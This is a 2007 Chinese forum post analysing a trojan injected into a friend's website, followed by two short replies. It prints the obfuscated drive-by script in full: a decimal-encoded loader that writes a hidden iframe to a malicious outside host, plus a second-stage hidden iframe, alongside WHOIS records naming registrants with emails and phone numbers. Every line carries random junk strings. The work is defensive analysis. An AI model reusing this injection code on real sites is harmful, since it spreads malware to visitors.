社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5890阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, HD{u#~8{  
L~h:>I+pG  
http://www.areway.cn/?p=175 O%bltNEx1  
vMX\q  
~ m vv :u  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: n(LO`{  
           )bYOy+2g  
<script>t=’60,105,102,114,97,109,101, _qOynW  
32,115,114,99,61,104,116,116,112,58,47,47, fUis_?!  
102,114,101,101,46,117,45,117,117,117,46,99, =Gj~:|;$  
110,47,101,114,114,111,114,46,104,116,109, CU c,  
32,119,105,100,116,104,61,49,48,48,32,104, "WmsBdO  
101,105,103,104,116,61,48,62,60,47,105,102, '-~J.8-</  
114,97,109,101,62′; =B+dhZ+#S$  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Omn $O>  
                                                                                                  ukW L3  
<script>t=’60,105,102,114,97,109,101,32,115, ;[Xf@xf  
114,99,61,104,116,116,112,58,47,47,102,114, -f:PgBj  
101,101,46,117,45,117,117,117,46,99,110,47, GHLFn~z@XJ  
101,114,114,111,114,46,104,116,109,32,119, L{;Q6_m  
105,100,116,104,61,49,48,48,32,104,101,105, BuAzO>=  
103,104,116,61,48,62,60,47,105,102,114,97, (I;81h`1G  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); kuLur)^  
document.write(t);</script>   h)W#  
                                                                                                  5i{J0/'Xu)  
<html xmlns=” sm[zE /2b  
http://www.w3.org/1999/xhtml @o}J)  
“> <o|k'Y(-  
<head> YsiH=x  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> dKXzFyW  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> n/BoK6g  
<title>首页 - 爱生活家庭网  xi<}n#  
                                                                                                                                                    WSU/Z[\`H  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 c;t3I},  
转换字符串后的大概内容是(谁点击后果自付): Q9p7{^m&E  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… {#@[ttw$U  
                                                                                                                                  DH$Nz  
查询玉米u-uuu.cn的详细信息: rK;<-RE<[:  
Domain Name: u-uuu.cn cw0 @Z0  
ROID: 20070901s10001s64972306-cn ghkV^ [  
Domain Status: ok x6\VIP"9L  
Registrant Organization: 王雷 v13\y^t  
Registrant Name: 王雷 Mw+ l>92  
Administrative Email: czlovexs@126.com 2.@IfBF6  
Sponsoring Registrar: 北京万网志成科技有限公司 JX>`N5s  
Name Server:ns.yovole.com $%&OaAg  
Name Server:ns1.yovole.com {pre|r\  
Registration Date: 2007-09-01 17:54 |z@AvS[  
Expiration Date: 2008-09-01 17:54 Y)(w&E>1  
最后PING了一下地址 都没有什么…. -!T24/l  
                                                                                                nnu#rtvZp}  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 6&LmR75C  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> gd%Ho8,T  
<script language=”javascript” src=” +g1+,?cU  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >#T?]5Z'MF  
> F$|d#ny  
这个玉米应该有可能是木马作者的: 8OS^3JS3"  
foafau.info的详细信息: _\@zq*E  
Access to INFO WHOIS information is provided to assist persons in ,N_V(Cx5pt  
determining the contents of a domain name registration record in the wLfH/J  
Afilias registry database. The data in this record is provided by *[jq&  
Afilias Limited for informational purposes only, and Afilias does not % bdBg  
guarantee its accuracy.  This service is intended only for query-based _D+J3d(Pjk  
access. You agree that you will use this data only for lawful purposes DV({! [EP  
and that, under no circumstances will you use this data to: (a) allow, \|]+sQWQ  
enable, or otherwise support the transmission by e-mail, telephone, or :To{&T  
facsimile of mass unsolicited, commercial advertising or solicitations z}r  
to entities other than the data recipient’s own existing customers; or D#Mz#\4o  
(b) enable high volume, automated, electronic processes that send <O-R  
queries or data to the systems of Registry Operator, a Registrar, or Sy*p6DP  
Afilias except as reasonably necessary to register domain names or j,i)ecZ>  
modify existing registrations. All rights reserved. Afilias reserves .UN?Ak*R  
the right to modify these terms at any time. By submitting this query, Gp?pSI,b.t  
you agree to abide by this policy. I&^hG\D  
Domain ID:D22418703-LRMS W^;4t3eQf  
Domain Name:FOAFAU.INFO gHXvmR"  
Created On:20-Nov-2007 16:05:42 UTC u Vv %k5  
Last Updated On:20-Nov-2007 16:05:44 UTC G_k_qP^:  
Expiration Date:20-Nov-2008 16:05:42 UTC *|6vCR  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) cs:?Wq ^  
Status:CLIENT DELETE PROHIBITED I~ mu'T  
Status:CLIENT RENEW PROHIBITED =yJV8%pa  
Status:CLIENT TRANSFER PROHIBITED va#].4_  
Status:CLIENT UPDATE PROHIBITED Nd;pkssd  
Status:TRANSFER PROHIBITED }KftV nD?  
Registrant ID:GODA-040110615 SFEDR?s   
Registrant Name:liu hong (A?w|/bZd  
Registrant Organization: KNF{NFk  
Registrant Street1:beijing )C0I y.N-  
Registrant Street2: *xx)j:Sc2  
Registrant Street3: r0\C2g_X  
Registrant City:beijing MQ'=qR  
Registrant State/Province: $.ctlWS8l{  
Registrant Postal Code:100000 i\4YT r,  
Registrant Country:CN S%G&{5  
Registrant Phone:+86.860108888777 ;D(6Gy9~  
Registrant Phone Ext.: .F _u/"**  
Registrant FAX: 9A`^ (  
Registrant FAX Ext.: f& Sovuuh  
Registrant Email:bbbshiji@163.com #z*,-EV|  
Admin ID:GODA-240110615 4zOFu/l6R  
Admin Name:liu hong UQb|J9HY4  
Admin Organization: J'&K  
Admin Street1:beijing #rz!d/)Q  
Admin Street2: !Ap*PL  
Admin Street3: !"F8jA}  
Admin City:beijing G;pc,\MF  
Admin State/Province: PVQn$-aq1  
Admin Postal Code:100000 EyV5FWb58  
Admin Country:CN e!k4Ij-]  
Admin Phone:+86.860108888777 YQ1rS X3  
Admin Phone Ext.: u@Z6)r'  
Admin FAX: G]Im.x3O-  
Admin FAX Ext.: tp\d:4~R  
Admin Email:bbbshiji@163.com hfvC-f97L  
Billing ID:GODA-340110615 au+:-Khm  
Billing Name:liu hong fNrpYR X  
Billing Organization: Psf{~ (Ii  
Billing Street1:beijing zCS }i_ p  
Billing Street2: lm{4x~y$h  
Billing Street3: VEL!-e^X&  
Billing City:beijing @c>MROlrlF  
Billing State/Province: .\ vrBf  
Billing Postal Code:100000 =""5 c  
Billing Country:CN je>mAQKi\  
Billing Phone:+86.860108888777 G}]'}FUp  
Billing Phone Ext.: QZL,zI]LL  
Billing FAX: j0=H6Y  
Billing FAX Ext.: SK@lr  
Billing Email:bbbshiji@163.com }n,LvA@[0  
Tech ID:GODA-140110615 1 :{+{Yl7  
Tech Name:liu hong =[TXH^.0  
Tech Organization: + =U9<8  
Tech Street1:beijing ,o3`O|PiK  
Tech Street2: x_(K%0+Ca  
Tech Street3: k~QmDq  
Tech City:beijing A' n7u'6=  
Tech State/Province: [_C([o'\KY  
Tech Postal Code:100000 Ub wmn!~  
Tech Country:CN 4~d:@Gmk&  
Tech Phone:+86.860108888777 `0u)/s$  
Tech Phone Ext.: D~2n8h"2ye  
Tech FAX: g6][N{xW0  
Tech FAX Ext.: S} &1_I  
Tech Email:bbbshiji@163.com BG1hk!  
Name Server:NS27.DOMAINCONTROL.COM MTbCL53!-  
Name Server:NS28.DOMAINCONTROL.COM >G vd?r  
Name Server: kWC xc0  
Name Server: #zb67mg~  
Name Server: M2qor.d  
Name Server: cNy*< Tv  
Name Server: W$gjcsv  
Name Server: (|tR>R.Wxg  
Name Server: GIS,EwA  
Name Server: _( QW2m?K  
Name Server: *M$$%G(4  
Name Server: ^*,?x  
Name Server: J8&0l&~ 6  
                                                                                                          &~=d;llkT  
接着下载每个文件里面的代码: ~UwqQD1p  
一步一步看.. }fhGofN$e  
BMn`t@!x  
, LqfwA|  
pA\"Xe&  
@~i : 8  
+a+DiD>./  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五